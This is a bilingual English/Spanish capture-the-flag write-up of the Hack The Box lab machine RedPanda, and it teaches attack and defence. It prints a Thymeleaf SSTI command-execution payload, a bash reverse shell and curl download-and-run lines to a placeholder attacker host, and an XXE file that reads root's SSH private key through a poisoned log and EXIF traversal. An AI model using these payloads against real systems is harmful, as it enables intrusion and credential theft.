RedPanda
Executive summary — RedPanda is a very Java-focused Easy Linux box. The «Red Panda Search» site (Spring Boot) is vulnerable to SSTI on the Thymeleaf engine, giving RCE as
woodenk. For escalation, that same user belongs to thelogsgroup and can write to a log file that a root process (launched by cron) processes periodically: that process opens every image referenced in the log, reads its EXIF Artist metadata field and uses it to build the path of an XML it parses without protection against external entities. By controlling the log line, the image and the metadata, we make root parse our own XXE that reads its SSH key. Path: SSTI → woodenk → poisoned log/EXIF → XXE (root cron) → root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.227.207 |
Attack map
[8080] Red Panda Search → search box → SSTI (Thymeleaf, *{...}) → RCE
▼
[SHELL] woodenk (user.txt)
│ id → group "logs": redpanda.log is group-writable
▼
[PSPY] root cron every ~2 min → LogParser.jar (App.java)
│ reads redpanda.log line by line → URI → JPG image → EXIF Artist → XML
▼
[XXE] URI (traversal) + Artist (traversal) point to our own XML
│ <!ENTITY foo SYSTEM "file:///root/.ssh/id_rsa"> parsed as root
▼
[ROOT] root SSH key → root.txt
1. Reconnaissance
nmap -sVC 10.129.227.207
22/tcp open ssh
8080/tcp open http
Only two ports: SSH and a web app on http://10.129.227.207:8080. The page title is surprisingly generous with information: «Red Panda Search — Made with Spring Boot». Knowing the backend is Spring Boot already points at a usual suspect in Java land: its default template engine, Thymeleaf, vulnerable to SSTI whenever it concatenates user input carelessly.
Resumen ejecutivo — RedPanda es un Linux Easy muy centrado en Java. El buscador de «Red Panda Search» (Spring Boot) es vulnerable a SSTI sobre el motor Thymeleaf, lo que da RCE como
woodenk. Para la escalada, ese mismo usuario pertenece al grupologsy puede escribir en el log que un proceso de root (lanzado por cron) procesa periodicamente: ese proceso abre cada imagen referenciada en el log, lee su metadato EXIF Artist y con el construye la ruta de un XML que parsea sin proteccion contra entidades externas. Controlando log, imagen y metadato conseguimos que root parsee un XXE propio que lee su clave SSH. Recorrido SSTI → woodenk → log/EXIF envenenados → XXE (cron root) → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.227.207 |
Mapa del ataque
[8080] Red Panda Search → buscador → SSTI (Thymeleaf, *{...}) → RCE
▼
[SHELL] woodenk (user.txt)
│ id → grupo "logs": redpanda.log es escribible por el grupo
▼
[PSPY] cron root cada ~2 min → LogParser.jar (App.java)
│ lee redpanda.log linea a linea → URI → imagen JPG → EXIF Artist → XML
▼
[XXE] URI (traversal) + Artist (traversal) apuntan a XML propio
│ <!ENTITY foo SYSTEM "file:///root/.ssh/id_rsa"> parseado como root
▼
[ROOT] clave SSH de root → root.txt
1. Reconocimiento
nmap -sVC 10.129.227.207
22/tcp open ssh
8080/tcp open http
Solo dos puertos: SSH y una aplicacion web en http://10.129.227.207:8080. El titulo de la pagina es muy generoso con la informacion: «Red Panda Search — Made with Spring Boot». Saber que el backend es Spring Boot ya apunta a un sospechoso habitual en Java: su motor de plantillas por defecto, Thymeleaf, vulnerable a SSTI cuando concatena entrada de usuario sin cuidado.
2. Reviewing the app — the XML hint
The app is a red panda search engine: each result shows a name, photo, biography and author, and every author has their own stats page. There's also an «Export Table» feature that hits /export.xml?author=damian and returns an XML document (<credits>...</credits>). The fact that the app works internally with XML is the first hint that an XXE may be on the table later on.
3. Foothold — SSTI in Thymeleaf
An SSTI (Server-Side Template Injection) happens when user input is interpreted as a server-side template instead of as plain text. We try the classic ${8*8} in the search box, but the app returns an error saying some characters are forbidden: it looks like ${ is being filtered. Thymeleaf, however, ships an equivalent alternative syntax: the selection expression *{...}, evaluated by the same engine (SpringEL) but with a different string that the filter doesn't block:
*{8*8}
The response confirms the vulnerability:
64
The server didn't return the literal text *{8*8}: it evaluated the math expression. The $ filter was purely cosmetic — Thymeleaf's selection syntax sidesteps it without losing any execution power.
4. Confirming RCE
With SSTI confirmed, we escalate to command execution using SpringEL type expressions (T(...)) to call Runtime.exec() and capture its output with Apache Commons IO:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
The app responds:
uid=1000(woodenk)
Confirmed: we execute arbitrary commands and the process runs as woodenk. We have RCE, but working command-by-command through SSTI is clunky — next step is an interactive shell.
5. Reverse shell
We prepare a script on the attacking machine:
#!/bin/bash
bash -i >&/dev/tcp/<ATTACKER_IP>/4444 0>&1
Serve it over HTTP and leave a listener waiting:
python3 -m http.server 8000 # serves shell.sh
nc -lvnp 4444 # listener
We use the SSTI again, this time to have the victim download the script and run it (two separate exec() calls through the same *{...} payload):
curl http://<ATTACKER_IP>:8000/shell.sh -o /tmp/shell.sh
bash /tmp/shell.sh
The listener catches the connection immediately:
whoami
woodenk
6. Stabilizing the shell and user.txt
The reverse shell works but is uncomfortable (no terminal control, no history). We upgrade it to a full pseudo-TTY:
script /dev/null -c bash
Suspend it with Ctrl+Z, then on Kali:
stty raw -echo; fg
And finally, back in the victim's shell:
reset
export TERM=xterm
With a comfortable shell, we grab the user flag:
cat ~/user.txt
7. Local enumeration — the logs group
id
uid=1000(woodenk) gid=1001(logs)
groups=1001(logs),1000(woodenk)
logs is not a standard Linux group: someone created it on purpose, so it's worth checking which files belong to it.
find / -group logs 2>/dev/null
/opt/panda_search/redpanda.log
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
Two clues: the /credits directory full of XMLs (the same format we saw in /export.xml) and the app's log file. We check the log's permissions:
ls -l /opt/panda_search/redpanda.log
-rw-rw-r-- 1 root logs
The log is owned by
root, but thelogsgroup has write access. If a root process trusts the contents of that file, we've just found an injection vector.
8. pspy — locating the root process
To see what runs as root without needing crontab -l (which we can't read), we upload pspy64 and run it:
# attacker
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server 8000
# victim
cd /tmp
wget http://<ATTACKER_IP>:8000/pspy64
chmod +x pspy64
./pspy64
After a few minutes, this shows up repeatedly:
UID=0 java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
/root/run_credits.sh
A root cron runs run_credits.sh, which in turn launches a JAR related to «credit-score». Time to read the code.
9. Reading the source
Under /opt/panda_search we find the site's own source:
find . -name "*.java"
MainController.java
RequestInterceptor.java
RequestInterceptor.java is the key piece: it logs every HTTP request to redpanda.log in this format:
bw.write(responseCode+"||"+remoteAddr+"||"+UserAgent+"||"+requestUri);
Line format: status||ip||user-agent||uri. We already know we can write to that file and that root processes it — the exploitation chain is starting to take shape.
Under /opt/credit-score is the JAR we saw in pspy. Its relevant source is App.java, and reading it we reconstruct the exact flow root follows:
- Opens
/opt/panda_search/redpanda.logand reads it line by line. - Extracts the URI field from each line.
- Opens the JPG image that URI references.
- Reads its EXIF metadata and grabs the Artist field.
- Uses that value to build the path
/credits/<Artist>_creds.xml. - Parses that XML without disabling external entities.
The key to the attack: both the URI (which we write into the log) and the Artist field (which we set on the EXIF of our own image) are fully attacker-controlled. If we also inject
../into both, we can escape the/credits/directory and point at an XML we've placed anywhere else, e.g./tmp. Root will end up parsing our XML — that's the XXE.
10. Crafting the malicious XML and image
The XML defines an external entity pointing at root's private key:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY foo SYSTEM "file:///root/.ssh/id_rsa">
]>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>1</views>
<root>&foo;</root>
</image>
<totalviews>1</totalviews>
</credits>
We save it as 0xdf_creds.xml. Now we prepare an image whose Artist field performs path traversal from /credits/ into the directory where we've placed that XML:
cp panda.jpg 0xdf.jpg
exiftool -Artist="../tmp/0xdf" 0xdf.jpg
exiftool 0xdf.jpg | grep Artist
Artist : ../tmp/0xdf
With that, /credits/<Artist>_creds.xml resolves to /credits/../tmp/0xdf_creds.xml = /tmp/0xdf_creds.xml, exactly where our XML lives. We upload both files (image and XML) to /tmp on the target:
cp 0xdf.jpg 0xdf_creds.xml /tmp/
11. Poisoning the log and triggering the XXE
We just need root to «visit» our image: we inject a line into redpanda.log with a URI that, via path traversal, escapes the expected image directory and points at our JPG in /tmp:
echo "412||ip||ua||/../../../../../../tmp/0xdf.jpg" >> /opt/panda_search/redpanda.log
The root cron runs every ~2 minutes. On its next run it: reads that log line, opens /tmp/0xdf.jpg, extracts the Artist field (../tmp/0xdf), rebuilds the path to our 0xdf_creds.xml, parses it, resolves the &foo; entity, and its content — root's private key — ends up dumped back into that same file, which we can now just read:
cat /tmp/0xdf_creds.xml
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
12. Root
We save the key, fix its permissions and log in over SSH:
chmod 600 redpanda_root
ssh -i redpanda_root root@10.129.227.207
whoami
root
cat /root/root.txt
System fully compromised. The escalation isn't a single isolated bug, but a combination of several small weaknesses — a group-writable log, a file path built from unsanitized external data, a trusted EXIF field and an unprotected XML parser — that together grant arbitrary file read as root. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Search box (Thymeleaf, Spring Boot) | SSTI: the ${ filter is bypassed with Thymeleaf's *{...} selection syntax, RCE via SpringEL | Shell as woodenk |
| Enumeration | redpanda.log (group logs) | App log file writable by an unprivileged group and consumed by a root process | Injection of data root will process |
| PrivEsc | LogParser JAR (App.java, root cron) | Path traversal in the logged URI + controlled EXIF Artist field + XML parsing with no protection against external entities (XXE) | Arbitrary file read as root → root's SSH key |
Lessons learned
- SSTI: filtering one literal string (
${) isn't enough if the template engine offers equivalent syntax (*{...}in Thymeleaf); never concatenate user input inside a template. - Logs are attack surface: a log file writable by a low-privilege user is just as dangerous as any other untrusted input if a more privileged process consumes it.
- Don't trust metadata: EXIF fields like
Artistare effectively user input — and here they also flow into file paths without sanitization (path traversal). - XXE: always disable external entity resolution (DTDs) in any XML parser.
- Least privilege in crons: a root process handling data partially controlled by an unprivileged user is a direct escalation target.
2. Analisis de la aplicacion — pista del XML
La app es un buscador de pandas rojos: cada resultado muestra nombre, foto, biografia y autor, y cada autor tiene su propia pagina de estadisticas. Hay tambien una funcion «Export Table» que golpea /export.xml?author=damian y devuelve un documento XML (<credits>...</credits>). Que la aplicacion trabaje internamente con XML es la primera pista de que, mas adelante, un XXE puede estar sobre la mesa.
3. Foothold — SSTI en Thymeleaf
Una SSTI (Server-Side Template Injection) ocurre cuando la entrada del usuario se interpreta como plantilla del servidor en lugar de como texto plano. Probamos el clasico ${8*8} en el buscador, pero la aplicacion devuelve un error indicando que algunos caracteres estan prohibidos: parece que ${ esta filtrado. Thymeleaf, sin embargo, ofrece una sintaxis alternativa equivalente: la expresion de seleccion *{...}, evaluada por el mismo motor (SpringEL) pero con una cadena distinta que el filtro no bloquea:
*{8*8}
La respuesta confirma la vulnerabilidad:
64
El servidor no ha devuelto el texto literal *{8*8}: ha evaluado la expresion matematica. El filtro del «$» era cosmetico — la sintaxis de seleccion de Thymeleaf lo esquiva sin perder capacidad de ejecucion.
4. Confirmacion de RCE
Con la SSTI confirmada, subimos la apuesta a ejecucion de comandos usando expresiones de tipo de SpringEL (T(...)) para invocar Runtime.exec() y capturar su salida con Apache Commons IO:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
La aplicacion responde:
uid=1000(woodenk)
Confirmado: ejecutamos comandos arbitrarios y el proceso corre como el usuario woodenk. Tenemos RCE, pero trabajar comando a comando via SSTI es incomodo — el siguiente paso es una shell interactiva.
5. Reverse shell
Preparamos un script en la maquina atacante:
#!/bin/bash
bash -i >&/dev/tcp/<ATTACKER_IP>/4444 0>&1
Lo servimos por HTTP y dejamos un listener esperando:
python3 -m http.server 8000 # sirve shell.sh
nc -lvnp 4444 # listener
Usamos de nuevo la SSTI, esta vez para que la victima descargue el script y lo ejecute (dos invocaciones de exec() separadas a traves del mismo payload de *{...}):
curl http://<ATTACKER_IP>:8000/shell.sh -o /tmp/shell.sh
bash /tmp/shell.sh
El listener recibe la conexion de inmediato:
whoami
woodenk
6. Estabilizar la shell y user.txt
La reverse shell es funcional pero incomoda (sin control de terminal ni historial). La elevamos a una pseudo-TTY completa:
script /dev/null -c bash
Suspendemos con Ctrl+Z, y en Kali:
stty raw -echo; fg
Y por ultimo, ya de vuelta en la shell de la victima:
reset
export TERM=xterm
Con la shell ya comoda, leemos la flag de usuario:
cat ~/user.txt
7. Enumeracion local — el grupo logs
id
uid=1000(woodenk) gid=1001(logs)
groups=1001(logs),1000(woodenk)
El grupo logs no es un grupo estandar de Linux: alguien lo creo a proposito, asi que merece la pena ver que ficheros le pertenecen.
find / -group logs 2>/dev/null
/opt/panda_search/redpanda.log
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
Dos pistas: el directorio /credits con XMLs (el mismo formato que vimos en /export.xml) y el fichero de log de la aplicacion. Comprobamos permisos de este ultimo:
ls -l /opt/panda_search/redpanda.log
-rw-rw-r-- 1 root logs
El log pertenece a
rootpero el grupologstiene permiso de escritura. Si un proceso de root confia en el contenido de ese fichero, acabamos de encontrar un vector de inyeccion.
8. pspy — localizar el proceso de root
Para ver que se ejecuta como root sin depender de crontab -l (que no podemos leer), subimos pspy64 y lo lanzamos:
# atacante
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server 8000
# victima
cd /tmp
wget http://<ATTACKER_IP>:8000/pspy64
chmod +x pspy64
./pspy64
A los pocos minutos aparece, repetido periodicamente:
UID=0 java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
/root/run_credits.sh
Un cron de root ejecuta run_credits.sh, que a su vez lanza un JAR relacionado con «credit-score». Toca leer el codigo.
9. Leyendo el codigo fuente
En /opt/panda_search encontramos las fuentes de la propia web:
find . -name "*.java"
MainController.java
RequestInterceptor.java
RequestInterceptor.java es la pieza clave: registra todas las peticiones HTTP en redpanda.log con este formato:
bw.write(responseCode+"||"+remoteAddr+"||"+UserAgent+"||"+requestUri);
Formato de linea: status||ip||user-agent||uri. Ya sabemos que podemos escribir en ese fichero y que root lo procesa — empieza a dibujarse la cadena de explotacion.
En /opt/credit-score esta el JAR que vimos en pspy. Su fuente relevante es App.java, y leyendolo reconstruimos el flujo exacto que sigue root:
- Abre
/opt/panda_search/redpanda.logy lo lee linea a linea. - De cada linea extrae el campo URI.
- Abre la imagen JPG que esa URI referencia.
- Lee sus metadatos EXIF y obtiene el campo Artist.
- Con ese valor construye la ruta
/credits/<Artist>_creds.xml. - Parsea ese XML sin deshabilitar entidades externas.
La clave del ataque: tanto la URI (que nosotros escribimos en el log) como el Artist (que nosotros ponemos en el EXIF de una imagen nuestra) son enteramente controlables. Si ademas metemos
../en ambos, podemos sacar la ruta resultante de/credits/y apuntar a un XML que hayamos dejado en cualquier otro sitio, por ejemplo/tmp. Root acabara parseando nuestro XML: ahi esta el XXE.
10. Preparar el XML y la imagen maliciosos
El XML define una entidad externa que apunta a la clave privada de root:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY foo SYSTEM "file:///root/.ssh/id_rsa">
]>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>1</views>
<root>&foo;</root>
</image>
<totalviews>1</totalviews>
</credits>
Lo guardamos como 0xdf_creds.xml. Ahora preparamos una imagen cuyo campo Artist hace path traversal desde /credits/ hasta el directorio donde hemos dejado ese XML:
cp panda.jpg 0xdf.jpg
exiftool -Artist="../tmp/0xdf" 0xdf.jpg
exiftool 0xdf.jpg | grep Artist
Artist : ../tmp/0xdf
Con eso, /credits/<Artist>_creds.xml se resuelve a /credits/../tmp/0xdf_creds.xml = /tmp/0xdf_creds.xml, exactamente donde hemos guardado nuestro XML. Subimos ambos ficheros (imagen y XML) a /tmp en la victima:
cp 0xdf.jpg 0xdf_creds.xml /tmp/
11. Envenenar el log e inducir el XXE
Falta que root «visite» nuestra imagen: inyectamos una linea en redpanda.log con una URI que, via path traversal, escape del directorio de imagenes esperado y apunte a nuestro JPG en /tmp:
echo "412||ip||ua||/../../../../../../tmp/0xdf.jpg" >> /opt/panda_search/redpanda.log
El cron de root corre cada ~2 minutos. En su siguiente ejecucion: lee esa linea del log, abre /tmp/0xdf.jpg, extrae el Artist (../tmp/0xdf), reconstruye la ruta hasta nuestro 0xdf_creds.xml, lo parsea, resuelve la entidad &foo; y su contenido — la clave privada de root — termina volcado en ese mismo fichero, que ya podemos leer nosotros:
cat /tmp/0xdf_creds.xml
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
12. Root
Guardamos la clave, ajustamos permisos y entramos por SSH:
chmod 600 redpanda_root
ssh -i redpanda_root root@10.129.227.207
whoami
root
cat /root/root.txt
Sistema comprometido por completo. La escalada no es una unica vulnerabilidad aislada, sino la combinacion de varias debilidades pequenas — log escribible por grupo, ruta de fichero construida con datos externos sin sanear, metadato EXIF de confianza y parser XML sin proteccion — que juntas dan lectura arbitraria de ficheros como root. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Buscador (Thymeleaf, Spring Boot) | SSTI: filtro de ${ esquivado con la sintaxis de seleccion *{...}, RCE via SpringEL | Shell como woodenk |
| Enumeracion | redpanda.log (grupo logs) | Log de aplicacion escribible por un grupo no privilegiado y consumido por un proceso de root | Inyeccion de datos que root procesara |
| PrivEsc | LogParser JAR (App.java, cron root) | Path traversal en la URI logueada + campo EXIF Artist controlado + parseo XML sin protegerse de entidades externas (XXE) | Lectura arbitraria de ficheros como root → clave SSH de root |
Lecciones aprendidas
- SSTI: filtrar una cadena literal (
${) no basta si el motor de plantillas ofrece sintaxis equivalentes (*{...}en Thymeleaf); nunca concatenes entrada del usuario dentro de una plantilla. - Logs como superficie de ataque: un fichero de log escribible por un usuario poco privilegiado, si lo consume un proceso mas privilegiado, es tan peligroso como cualquier otra entrada no confiable.
- No confies en metadatos: campos EXIF como
Artistson, en la practica, entrada de usuario — y aqui ademas viajan por rutas de fichero sin sanear (path traversal). - XXE: deshabilita siempre la resolucion de entidades externas (DTD) en cualquier parser XML.
- Minimo privilegio en crons: un proceso root que procesa datos parcialmente controlados por un usuario sin privilegios es un objetivo directo de escalada.